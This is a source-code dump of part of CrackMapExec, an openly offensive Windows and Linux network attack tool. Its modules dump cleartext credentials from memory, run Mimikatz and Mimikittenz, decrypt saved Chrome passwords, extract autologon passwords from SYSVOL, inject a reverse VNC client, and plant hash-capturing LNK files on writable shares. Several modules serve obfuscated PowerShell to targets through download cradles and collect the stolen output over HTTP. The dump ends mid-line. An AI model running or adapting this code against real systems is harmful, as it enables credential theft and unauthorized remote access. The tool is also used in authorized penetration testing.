/cme/protocols/smb/remotefile.py: -------------------------------------------------------------------------------- 1 | from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA 2 | 3 | class RemoteFile: 4 | def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ): 5 | self.__smbConnection = smbConnection 6 | self.__share = share 7 | self.__access = access 8 | self.__fileName = fileName 9 | self.__tid = self.__smbConnection.connectTree(share) 10 | self.__fid = None 11 | self.__currentOffset = 0 12 | 13 | def open(self): 14 | self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access) 15 | 16 | def seek(self, offset, whence): 17 | # Implement whence, for now it's always from the beginning of the file 18 | if whence == 0: 19 | self.__currentOffset = offset 20 | 21 | def read(self, bytesToRead): 22 | if bytesToRead > 0: 23 | data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) 24 | self.__currentOffset += len(data) 25 | return data 26 | return '' 27 | 28 | def close(self): 29 | if self.__fid is not None: 30 | self.__smbConnection.closeFile(self.__tid, self.__fid) 31 | self.__fid = None 32 | 33 | def delete(self): 34 | self.__smbConnection.deleteFile(self.__share, self.__fileName) 35 | 36 | def tell(self): 37 | return self.__currentOffset 38 | 39 | def __str__(self): 40 | return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName) -------------------------------------------------------------------------------- /cme/servers/smb.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import logging 3 | from sys import exit 4 | from impacket import smbserver 5 | 6 | class CMESMBServer(threading.Thread): 7 | 8 | def __init__(self, logger, share_name, share_path='/tmp/cme_hosted', listen_address='0.0.0.0', listen_port=445, verbose=False): 9 | try: 10 | threading.Thread.__init__(self) 11 | 12 | self.server = smbserver.SimpleSMBServer(listen_address, listen_port) 13 | self.server.addShare(share_name.upper(), share_path) 14 | if verbose: self.server.setLogFile('') 15 | self.server.setSMB2Support(False) 16 | self.server.setSMBChallenge('') 17 | except Exception as e: 18 | errno, message = e.args 19 | if errno == 98 and message == 'Address already in use': 20 | logger.error('Error starting SMB server on port 445: the port is already in use') 21 | else: 22 | logger.error('Error starting SMB server on port 445: {}'.format(message)) 23 | exit(1) 24 | 25 | def addShare(self, share_name, share_path): 26 | self.server.addShare(share_name, share_path) 27 | 28 | def run(self): 29 | try: 30 | self.server.start() 31 | except: 32 | pass 33 | 34 | def shutdown(self): 35 | self._Thread__stop() 36 | # make sure all the threads are killed 37 | for thread in threading.enumerate(): 38 | if thread.isAlive(): 39 | try: 40 | thread._Thread__stop() 41 | except: 42 | pass 43 | -------------------------------------------------------------------------------- /cme/parsers/nessus.py: -------------------------------------------------------------------------------- 1 | import xmltodict 2 | 3 | # Ideally i'd like to be able to pull this info out dynamically from each protocol object but i'm a lazy bastard 4 | protocol_dict = { 5 | 'smb': {'ports': [445, 139], 'services': ['smb', 'cifs']}, 6 | 'mssql': {'ports': [1433], 'services': ['mssql']}, 7 | 'ssh': {'ports': [22], 'services': ['ssh']}, 8 | 'winrm': {'ports': [5986, 5985], 'services': ['www', 'https?']}, 9 | 'http': {'ports': [80, 443, 8443, 8008, 8080, 8081], 'services': ['www', 'https?']} 10 | } 11 | 12 | 13 | def parse_nessus_file(nessus_file, protocol): 14 | targets = [] 15 | 16 | def handle_nessus_file(path, item): 17 | # Must return True otherwise xmltodict will throw a ParsingIterrupted() exception 18 | # https://github.com/martinblech/xmltodict/blob/master/xmltodict.py#L219 19 | 20 | if any('ReportHost' and 'ReportItem' in values for values in path): 21 | item = dict(path) 22 | ip = item['ReportHost']['name'] 23 | if ip in targets: 24 | return True 25 | 26 | port = item['ReportItem']['port'] 27 | svc_name = item['ReportItem']['svc_name'] 28 | 29 | if port in protocol_dict[protocol]['ports']: 30 | targets.append(ip) 31 | if svc_name in protocol_dict[protocol]['services']: 32 | targets.append(ip) 33 | 34 | return True 35 | else: 36 | return True 37 | 38 | with open(nessus_file, 'r') as file_handle: 39 | xmltodict.parse(file_handle, item_depth=4, item_callback=handle_nessus_file) 40 | 41 | return targets 42 | -------------------------------------------------------------------------------- /cme/modules/mimipenguin.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.bash import get_script 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Runs the Mimipenguin script to dump credentials from memory 7 | Module by @byt3bl33d3r 8 | 9 | ''' 10 | name = 'mimipenguin' 11 | description = 'Dumps cleartext credentials in memory' 12 | supported_protocols = ['ssh'] 13 | opsec_safe= True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | SCRIPT Script version to execute (choices: bash, python) (default: bash) 19 | ''' 20 | scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'), 21 | 'BASH' : get_script('mimipenguin/mimipenguin.sh')} 22 | 23 | self.script_choice = 'BASH' 24 | if 'SCRIPT' in module_options: 25 | self.script_choice = module_options['SCRIPT'].upper() 26 | if self.script_choice not in scripts.keys(): 27 | context.log.error('SCRIPT option choices can only be PYTHON or BASH') 28 | exit(1) 29 | 30 | self.script = scripts[self.script_choice] 31 | 32 | def on_admin_login(self, context, connection): 33 | if self.script_choice == 'BASH': 34 | stdin, stdout, stderr = connection.conn.exec_command("bash -") 35 | elif self.script_choice == 'PYTHON': 36 | stdin, stdout, stderr = connection.conn.exec_command("python2 -") 37 | 38 | stdin.write("{}\n".format(self.script)) 39 | stdin.channel.shutdown_write() 40 | context.log.success('Executed command') 41 | for line in stdout: 42 | context.log.highlight(line.strip()) 43 | -------------------------------------------------------------------------------- /cme/modules/multirdp.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | 3 | class CMEModule: 4 | 5 | name = 'multirdp' 6 | description = "Patches terminal services in memory to allow multiple RDP users" 7 | supported_protocols = ['smb', 'mssql'] 8 | opsec_safe = True 9 | multiple_hosts = True 10 | 11 | def options(self, context, module_options): 12 | ''' 13 | ''' 14 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1') 15 | 16 | def on_admin_login(self, context, connection): 17 | 18 | command = "Invoke-Mimikatz -Command 'privilege::debug ts::multirdp exit'" 19 | launcher = gen_ps_iex_cradle(context, 'Invoke-Mimikatz.ps1', command) 20 | 21 | connection.ps_execute(launcher) 22 | context.log.success('Executed launcher') 23 | 24 | def on_request(self, context, request): 25 | if 'Invoke-Mimikatz.ps1' == request.path[1:]: 26 | request.send_response(200) 27 | request.end_headers() 28 | 29 | request.wfile.write(self.ps_script) 30 | 31 | else: 32 | request.send_response(404) 33 | request.end_headers() 34 | 35 | def on_response(self, context, response): 36 | response.send_response(200) 37 | response.end_headers() 38 | length = int(response.headers.getheader('content-length')) 39 | data = response.rfile.read(length) 40 | 41 | #We've received the response, stop tracking this host 42 | response.stop_tracking_host() 43 | 44 | if len(data): 45 | if data.find('"TermService" service patched') != -1: 46 | context.log.success("Terminal Service patched successfully") 47 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | |Supported Python versions| |Arsenal\_2016| |Arsenal\_2017| 2 | 3 | CrackMapExec 4 | ============ 5 | 6 | .. raw:: html 7 | 8 |

9 | cme 10 |

11 | 12 | Acknowledgments 13 | =============== 14 | 15 | **(These are the people who did the hard stuff)** 16 | 17 | This project was originally inspired by: - 18 | `smbmap `__ - 19 | `CredCrack `__ - 20 | `smbexec `__ 21 | 22 | Unintentional contributors: 23 | 24 | - The `Empire `__ project 25 | - @T-S-A's `smbspider `__ script 26 | 27 | This repository contains the following repositories as submodules: - 28 | `Impacket `__ - 29 | `Pywerview `__ - 30 | `PowerSploit `__ - 31 | `Invoke-Obfuscation `__ 32 | - `Invoke-Vnc `__ - 33 | `Mimikittenz `__ - 34 | `NetRipper `__ - 35 | `RandomPS-Scripts `__ 36 | 37 | Documentation, Tutorials, Examples 38 | ================================== 39 | 40 | See the project's 41 | `wiki `__ for 42 | documentation and usage examples 43 | 44 | Installation 45 | ============ 46 | 47 | Please see the installation wiki page 48 | `here `__. 49 | 50 | To do 51 | ===== 52 | 53 | - Kerberos support 54 | - [STRIKEOUT:0wn everything] 55 | 56 | .. |Supported Python versions| image:: https://img.shields.io/badge/python-2.7-blue.svg 57 | .. |Arsenal\_2016| image:: https://cdn.rawgit.com/toolswatch/badges/master/arsenal/2016.svg 58 | .. |Arsenal\_2017| image:: https://cdn.rawgit.com/toolswatch/badges/master/arsenal/2017.svg 59 | 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) 2 | ![Arsenal_2016](https://cdn.rawgit.com/toolswatch/badges/master/arsenal/2016.svg) 3 | ![Arsenal_2017](https://cdn.rawgit.com/toolswatch/badges/master/arsenal/2017.svg) 4 | 5 | # CrackMapExec 6 | 7 |

8 | cme 9 |

10 | 11 | # Acknowledgments 12 | **(These are the people who did the hard stuff)** 13 | 14 | This project was originally inspired by: 15 | - [smbmap](https://github.com/ShawnDEvans/smbmap) 16 | - [CredCrack](https://github.com/gojhonny/CredCrack) 17 | - [smbexec](https://github.com/pentestgeek/smbexec) 18 | 19 | Unintentional contributors: 20 | 21 | - The [Empire](https://github.com/PowerShellEmpire/Empire) project 22 | - @T-S-A's [smbspider](https://github.com/T-S-A/smbspider) script 23 | - @ConsciousHacker's partial Python port of Invoke-obfuscation from the [GreatSCT](https://github.com/GreatSCT/GreatSCT) project 24 | 25 | This repository contains the following repositories as submodules: 26 | - [Impacket](https://github.com/CoreSecurity/impacket) 27 | - [Pywinrm](https://github.com/diyan/pywinrm) 28 | - [Pywerview](https://github.com/the-useless-one/pywerview) 29 | - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) 30 | - [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) 31 | - [Invoke-Vnc](https://github.com/artkond/Invoke-Vnc) 32 | - [Mimikittenz](https://github.com/putterpanda/mimikittenz) 33 | - [NetRipper](https://github.com/NytroRST/NetRipper) 34 | - [RandomPS-Scripts](https://github.com/xorrior/RandomPS-Scripts) 35 | - [SessionGopher](https://github.com/fireeye/SessionGopher) 36 | - [Mimipenguin](https://github.com/huntergregal/mimipenguin) 37 | 38 | # Documentation, Tutorials, Examples 39 | See the project's [wiki](https://github.com/byt3bl33d3r/CrackMapExec/wiki) for documentation and usage examples 40 | 41 | # Installation 42 | Please see the installation wiki page [here](https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation). 43 | 44 | # How to fund my tea & sushi reserve 45 | 46 | BTC: `1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU` 47 | 48 | ETH: `0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee` 49 | 50 | LTC: `LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr` 51 | 52 | # To do 53 | - Kerberos support 54 | - ~~0wn everything~~ 55 | -------------------------------------------------------------------------------- /cme/modules/mimikittenz.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.logger import write_log 3 | from StringIO import StringIO 4 | from datetime import datetime 5 | 6 | class CMEModule: 7 | ''' 8 | Executes the Mimikittenz script 9 | Module by @byt3bl33d3r 10 | ''' 11 | 12 | name = 'mimikittenz' 13 | description = "Executes Mimikittenz" 14 | supported_protocols = ['mssql', 'smb'] 15 | opsec_safe = True 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | ''' 21 | self.ps_script = obfs_ps_script('mimikittenz/Invoke-mimikittenz.ps1') 22 | return 23 | 24 | def on_admin_login(self, context, connection): 25 | command = 'Invoke-mimikittenz' 26 | launcher = gen_ps_iex_cradle(context, 'Invoke-mimikittenz.ps1', command) 27 | 28 | connection.ps_execute(launcher) 29 | context.log.success('Executed launcher') 30 | 31 | def on_request(self, context, request): 32 | if 'Invoke-mimikittenz.ps1' == request.path[1:]: 33 | request.send_response(200) 34 | request.end_headers() 35 | 36 | #with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script: 37 | # ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name) 38 | request.wfile.write(self.ps_script) 39 | 40 | else: 41 | request.send_response(404) 42 | request.end_headers() 43 | 44 | def on_response(self, context, response): 45 | response.send_response(200) 46 | response.end_headers() 47 | length = int(response.headers.getheader('content-length')) 48 | data = response.rfile.read(length) 49 | 50 | #We've received the response, stop tracking this host 51 | response.stop_tracking_host() 52 | 53 | if len(data): 54 | def print_post_data(data): 55 | buf = StringIO(data.strip()).readlines() 56 | for line in buf: 57 | context.log.highlight(line.strip()) 58 | 59 | print_post_data(data) 60 | 61 | log_name = 'MimiKittenz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 62 | write_log(data, log_name) 63 | context.log.info("Saved output to {}".format(log_name)) 64 | -------------------------------------------------------------------------------- /cme/modules/gpp_autologin.py: -------------------------------------------------------------------------------- 1 | import xml.etree.ElementTree as ET 2 | from StringIO import StringIO 3 | 4 | class CMEModule: 5 | ''' 6 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1 7 | Module by @byt3bl33d3r 8 | ''' 9 | 10 | name = 'gpp_autologin' 11 | description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.' 12 | supported_protocols = ['smb'] 13 | opsec_safe = True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | ''' 19 | 20 | def on_login(self, context, connection): 21 | shares = connection.shares() 22 | for share in shares: 23 | if share['name'] == 'SYSVOL' and 'READ' in share['access']: 24 | 25 | context.log.success('Found SYSVOL share') 26 | context.log.info('Searching for Registry.xml') 27 | 28 | paths = connection.spider('SYSVOL', pattern=['Registry.xml']) 29 | 30 | for path in paths: 31 | context.log.info('Found {}'.format(path)) 32 | 33 | buf = StringIO() 34 | connection.conn.getFile('SYSVOL', path, buf.write) 35 | xml = ET.fromstring(buf.getvalue()) 36 | 37 | if xml.findall('.//Properties[@name="DefaultPassword"]'): 38 | usernames = [] 39 | passwords = [] 40 | domains = [] 41 | 42 | xml_section = xml.findall(".//Properties") 43 | 44 | for section in xml_section: 45 | attrs = section.attrib 46 | 47 | if attrs['name'] == 'DefaultPassword': 48 | passwords.append(attrs['value']) 49 | 50 | if attrs['name'] == 'DefaultUserName': 51 | usernames.append(attrs['value']) 52 | 53 | if attrs['name'] == 'DefaultDomainName': 54 | domains.append(attrs['value']) 55 | 56 | if usernames or passwords: 57 | context.log.success('Found credentials in {}'.format(path)) 58 | context.log.highlight('Usernames: {}'.format(usernames)) 59 | context.log.highlight('Domains: {}'.format(domains)) 60 | context.log.highlight('Passwords: {}'.format(passwords)) -------------------------------------------------------------------------------- /cme/modules/invoke_vnc.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | 3 | class CMEModule: 4 | ''' 5 | Executes Invoke-VNC 6 | Module by @byt3bl33d3r 7 | ''' 8 | 9 | name = 'invoke_vnc' 10 | description = "Injects a VNC client in memory" 11 | supported_protocols = ['smb', 'mssql'] 12 | opsec_safe = True 13 | multiple_hosts = True 14 | 15 | def options(self, context, module_options): 16 | ''' 17 | CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse). 18 | PORT VNC Port (default: 5900) 19 | PASSWORD Specifies the connection password. 20 | ''' 21 | 22 | self.contype = 'reverse' 23 | self.port = 5900 24 | self.password = None 25 | 26 | if 'PASSWORD' not in module_options: 27 | context.log.error('PASSWORD option is required!') 28 | exit(1) 29 | 30 | if 'CONTYPE' in module_options: 31 | self.contype = module_options['CONTYPE'] 32 | 33 | if 'PORT' in module_options: 34 | self.port = int(module_options['PORT']) 35 | 36 | self.password = module_options['PASSWORD'] 37 | 38 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') 39 | self.ps_script2 = obfs_ps_script('invoke-vnc/Invoke-Vnc.ps1') 40 | 41 | def on_admin_login(self, context, connection): 42 | if self.contype == 'reverse': 43 | command = 'Invoke-Vnc -ConType reverse -IpAddress {} -Port {} -Password {}'.format(context.localip, self.port, self.password) 44 | elif self.contype == 'bind': 45 | command = 'Invoke-Vnc -ConType bind -Port {} -Password {}'.format(self.port, self.password) 46 | 47 | vnc_command = gen_ps_iex_cradle(context, 'Invoke-Vnc.ps1', command, post_back=False) 48 | 49 | launcher = gen_ps_inject(vnc_command, context) 50 | 51 | connection.ps_execute(launcher) 52 | context.log.success('Executed launcher') 53 | 54 | def on_request(self, context, request): 55 | if 'Invoke-PSInject.ps1' == request.path[1:]: 56 | request.send_response(200) 57 | request.end_headers() 58 | 59 | request.wfile.write(self.ps_script1) 60 | 61 | elif 'Invoke-Vnc.ps1' == request.path[1:]: 62 | request.send_response(200) 63 | request.end_headers() 64 | 65 | request.wfile.write(self.ps_script2) 66 | 67 | request.stop_tracking_host() 68 | 69 | else: 70 | request.send_response(404) 71 | request.end_headers() 72 | -------------------------------------------------------------------------------- /cme/modules/enum_chrome.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.logger import write_log 3 | from datetime import datetime 4 | from StringIO import StringIO 5 | 6 | class CMEModule: 7 | ''' 8 | Executes Get-ChromeDump to decrypt saved chrome credentials 9 | Module by @byt3bl33d3r 10 | ''' 11 | 12 | name = 'enum_chrome' 13 | description = "Decrypts saved Chrome passwords using Get-ChromeDump" 14 | supported_protocols = ['smb', 'mssql'] 15 | opsec_safe = False 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | ''' 21 | 22 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') 23 | self.ps_script2 = obfs_ps_script('randomps-scripts/Get-ChromeDump.ps1') 24 | 25 | def on_admin_login(self, context, connection): 26 | 27 | command = 'Get-ChromeDump | Out-String' 28 | chrome_cmd = gen_ps_iex_cradle(context, 'Get-ChromeDump.ps1', command) 29 | 30 | launcher = gen_ps_inject(chrome_cmd, context) 31 | 32 | connection.ps_execute(launcher) 33 | context.log.success('Executed payload') 34 | 35 | def on_request(self, context, request): 36 | if 'Invoke-PSInject.ps1' == request.path[1:]: 37 | request.send_response(200) 38 | request.end_headers() 39 | 40 | request.wfile.write(self.ps_script1) 41 | 42 | elif 'Get-ChromeDump.ps1' == request.path[1:]: 43 | request.send_response(200) 44 | request.end_headers() 45 | 46 | request.wfile.write(self.ps_script2) 47 | 48 | else: 49 | request.send_response(404) 50 | request.end_headers() 51 | 52 | def on_response(self, context, response): 53 | response.send_response(200) 54 | response.end_headers() 55 | length = int(response.headers.getheader('content-length')) 56 | data = response.rfile.read(length) 57 | 58 | #We've received the response, stop tracking this host 59 | response.stop_tracking_host() 60 | 61 | if len(data): 62 | buf = StringIO(data).readlines() 63 | for line in buf: 64 | context.log.highlight(line) 65 | 66 | log_name = 'ChromeDump-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 67 | write_log(data, log_name) 68 | context.log.info("Saved raw Get-ChromeDump output to {}".format(log_name)) 69 | 70 | #def on_shutdown(self, context): 71 | #context.info('Removing SQLite assembly file') 72 | #connection.ps_execute('') -------------------------------------------------------------------------------- /cme/modules/get_netrdpsession.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.logger import write_log, highlight 3 | from datetime import datetime 4 | from StringIO import StringIO 5 | 6 | class CMEModule: 7 | 8 | name = 'get_netrdpsession' 9 | description = "Enumerates all active RDP sessions" 10 | supported_protocols = ['smb', 'mssql'] 11 | opsec_safe = True 12 | multiple_hosts = True 13 | 14 | def options(self, context, module_options): 15 | ''' 16 | INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) 17 | ''' 18 | 19 | self.exec_methods = ['smbexec', 'atexec'] 20 | self.inject = True 21 | if 'INJECT' in module_options: 22 | self.inject = bool(module_options['INJECT']) 23 | 24 | if self.inject: self.exec_methods = None 25 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') 26 | self.ps_script2 = obfs_ps_script('powersploit/Recon/PowerView.ps1') 27 | 28 | def on_admin_login(self, context, connection): 29 | command = 'Get-NetRDPSession | Out-String' 30 | launcher = gen_ps_iex_cradle(context, 'PowerView.ps1', command) 31 | 32 | if self.inject: 33 | launcher = gen_ps_inject(launcher, context, inject_once=True) 34 | 35 | connection.ps_execute(launcher, methods=self.exec_methods) 36 | 37 | context.log.success('Executed launcher') 38 | 39 | def on_request(self, context, request): 40 | if 'Invoke-PSInject.ps1' == request.path[1:]: 41 | request.send_response(200) 42 | request.end_headers() 43 | 44 | request.wfile.write(self.ps_script1) 45 | 46 | elif 'PowerView.ps1' == request.path[1:]: 47 | request.send_response(200) 48 | request.end_headers() 49 | 50 | request.wfile.write(self.ps_script2) 51 | 52 | else: 53 | request.send_response(404) 54 | request.end_headers() 55 | 56 | def on_response(self, context, response): 57 | response.send_response(200) 58 | response.end_headers() 59 | length = int(response.headers.getheader('content-length')) 60 | data = response.rfile.read(length) 61 | 62 | #We've received the response, stop tracking this host 63 | response.stop_tracking_host() 64 | 65 | if len(data): 66 | buf = StringIO(data).readlines() 67 | for line in buf: 68 | line = line.replace('\r\n', '\n').strip() 69 | context.log.highlight(line) -------------------------------------------------------------------------------- /cme/modules/enum_dns.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.logger import write_log 2 | 3 | class CMEModule: 4 | ''' 5 | Uses WMI to dump DNS from an AD DNS Server. 6 | Module by @fang0654 7 | 8 | ''' 9 | 10 | name = 'enum_dns' 11 | description = 'Uses WMI to dump DNS from an AD DNS Server' 12 | supported_protocols = ['smb'] 13 | opsec_safe= True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | DOMAIN Domain to enumerate DNS for. Defaults to all zones. 19 | ''' 20 | self.domains = None 21 | if module_options and 'DOMAIN' in module_options: 22 | self.domains = module_options['DOMAIN'] 23 | 24 | def on_admin_login(self, context, connection): 25 | 26 | if not self.domains: 27 | domains = [] 28 | output = connection.wmi('Select Name FROM MicrosoftDNS_Zone', 'root\\microsoftdns') 29 | 30 | if output: 31 | for result in output: 32 | domains.append(result['Name']['value']) 33 | 34 | context.log.success('Domains retrieved: {}'.format(domains)) 35 | else: 36 | domains = [self.domains] 37 | data = "" 38 | for domain in domains: 39 | output = connection.wmi('Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = "{}"'.format(domain), 'root\\microsoftdns') 40 | 41 | if output: 42 | domain_data = {} 43 | context.log.highlight("Results for {}".format(domain)) 44 | data += "Results for {}\n".format(domain) 45 | for entry in output: 46 | text = entry['TextRepresentation']['value'] 47 | rname = text.split(' ')[0] 48 | rtype = text.split(' ')[2] 49 | rvalue = ' '.join(text.split(' ')[3:]) 50 | if domain_data.get(rtype, False): 51 | domain_data[rtype].append("{}: {}".format(rname, rvalue)) 52 | else: 53 | domain_data[rtype] = ["{}: {}".format(rname, rvalue)] 54 | 55 | for k, v in sorted(domain_data.iteritems()): 56 | context.log.highlight("Record Type: {}".format(k)) 57 | data += "Record Type: {}\n".format(k) 58 | for d in sorted(v): 59 | context.log.highlight("\t"+d) 60 | data += "\t" + d + "\n" 61 | 62 | log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 63 | write_log(data, log_name) 64 | context.log.info("Saved raw output to {}".format(log_name)) 65 | 66 | -------------------------------------------------------------------------------- /cme/modules/slinky.py: -------------------------------------------------------------------------------- 1 | import pylnk 2 | import os 3 | import ntpath 4 | from sys import exit 5 | 6 | class CMEModule: 7 | ''' 8 | Original idea and PoC by Justin Angel (@4rch4ngel86) 9 | Module by @byt3bl33d3r 10 | ''' 11 | 12 | name = 'slinky' 13 | description = 'Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions' 14 | supported_protocols = ['smb'] 15 | opsec_safe= False 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | SERVER IP of the SMB server 21 | NAME LNK file name 22 | CLEANUP Cleanup (choices: True or False) 23 | ''' 24 | 25 | self.cleanup = False 26 | 27 | if 'CLEANUP' in module_options: 28 | self.cleanup = bool(module_options['CLEANUP']) 29 | 30 | if 'NAME' not in module_options: 31 | context.log.error('NAME option is required!') 32 | exit(1) 33 | 34 | if not self.cleanup and 'SERVER' not in module_options: 35 | context.log.error('SERVER option is required!') 36 | exit(1) 37 | 38 | self.lnk_name = module_options['NAME'] 39 | self.lnk_path = '/tmp/{}.lnk'.format(self.lnk_name) 40 | self.file_path = ntpath.join('\\', '{}.lnk'.format(self.lnk_name)) 41 | 42 | if not self.cleanup: 43 | self.server = module_options['SERVER'] 44 | link = pylnk.create(self.lnk_path) 45 | link.icon = '\\\\{}\\icons\\icon.ico'.format(self.server) 46 | link.save() 47 | 48 | def on_login(self, context, connection): 49 | shares = connection.shares() 50 | for share in shares: 51 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']: 52 | context.log.success('Found writable share: {}'.format(share['name'])) 53 | if not self.cleanup: 54 | with open(self.lnk_path, 'rb') as lnk: 55 | try: 56 | connection.conn.putFile(share['name'], self.file_path, lnk.read) 57 | context.log.success('Created LNK file on the {} share'.format(share['name'])) 58 | except Exception as e: 59 | context.log.error('Error writing LNK file to share {}: {}'.format(share['name'], e)) 60 | else: 61 | try: 62 | connection.conn.deleteFile(share['name'], self.file_path) 63 | context.log.success('Deleted LNK file on the {} share'.format(share['name'])) 64 | except Exception as e: 65 | context.log.error('Error deleting LNK file on share {}: {}'.format(share['name'], e)) 66 | -------------------------------------------------------------------------------- /cme/msfrpc.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python2.7 2 | 3 | # MSF-RPC - A Python library to facilitate MSG-RPC communication with Metasploit 4 | 5 | # Copyright (c) 2014-2016 Ryan Linn - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com 6 | # 7 | # This program is free software; you can redistribute it and/or 8 | # modify it under the terms of the GNU General Public License as 9 | # published by the Free Software Foundation; either version 3 of the 10 | # License, or (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, but 13 | # WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | # General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program; if not, write to the Free Software 19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 20 | # USA 21 | # 22 | 23 | import msgpack 24 | import requests 25 | 26 | 27 | class MsfError(Exception): 28 | def __init__(self, msg): 29 | self.msg = msg 30 | 31 | def __str__(self): 32 | return repr(self.msg) 33 | 34 | 35 | class MsfAuthError(MsfError): 36 | def __init__(self, msg): 37 | self.msg = msg 38 | 39 | 40 | class Msfrpc: 41 | 42 | def __init__(self, opts=[]): 43 | self.host = opts.get('host') or "127.0.0.1" 44 | self.port = opts.get('port') or "55552" 45 | self.uri = opts.get('uri') or "/api/" 46 | self.ssl = opts.get('ssl') or False 47 | self.token = None 48 | self.headers = {"Content-type": "binary/message-pack"} 49 | 50 | def encode(self, data): 51 | return msgpack.packb(data) 52 | 53 | def decode(self, data): 54 | return msgpack.unpackb(data) 55 | 56 | def call(self, method, opts=[]): 57 | if method != 'auth.login': 58 | if self.token is None: 59 | raise MsfAuthError("MsfRPC: Not Authenticated") 60 | 61 | if method != "auth.login": 62 | opts.insert(0, self.token) 63 | 64 | if self.ssl is True: 65 | url = "https://%s:%s%s" % (self.host, self.port, self.uri) 66 | else: 67 | url = "http://%s:%s%s" % (self.host, self.port, self.uri) 68 | 69 | opts.insert(0, method) 70 | payload = self.encode(opts) 71 | 72 | r = requests.post(url, data=payload, headers=self.headers) 73 | 74 | opts[:] = [] # Clear opts list 75 | 76 | return self.decode(r.content) 77 | 78 | def login(self, user, password): 79 | auth = self.call("auth.login", [user, password]) 80 | try: 81 | if auth['result'] == 'success': 82 | self.token = auth['token'] 83 | return True 84 | except: 85 | raise MsfAuthError("MsfRPC: Authentication failed") 86 | -------------------------------------------------------------------------------- /cme/helpers/misc.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import re 4 | import inspect 5 | import os 6 | 7 | 8 | def identify_target_file(target_file): 9 | with open(target_file, 'r') as target_file_handle: 10 | for i, line in enumerate(target_file_handle): 11 | if i == 1: 12 | if line.startswith('\n'): 15 | return 'nmap' 16 | 17 | return 'unknown' 18 | 19 | 20 | def gen_random_string(length=10): 21 | return ''.join(random.sample(string.ascii_letters, int(length))) 22 | 23 | 24 | def validate_ntlm(data): 25 | allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE) 26 | if allowed.match(data): 27 | return True 28 | else: 29 | return False 30 | 31 | 32 | def called_from_cmd_args(): 33 | for stack in inspect.stack(): 34 | if stack[3] == 'print_host_info': 35 | return True 36 | if stack[3] == 'plaintext_login' or stack[3] == 'hash_login': 37 | return True 38 | if stack[3] == 'call_cmd_args': 39 | return True 40 | return False 41 | 42 | 43 | # Stolen from https://github.com/pydanny/whichcraft/ 44 | def which(cmd, mode=os.F_OK | os.X_OK, path=None): 45 | """Given a command, mode, and a PATH string, return the path which 46 | conforms to the given mode on the PATH, or None if there is no such 47 | file. 48 | `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result 49 | of os.environ.get("PATH"), or can be overridden with a custom search 50 | path. 51 | Note: This function was backported from the Python 3 source code. 52 | """ 53 | # Check that a given file can be accessed with the correct mode. 54 | # Additionally check that `file` is not a directory, as on 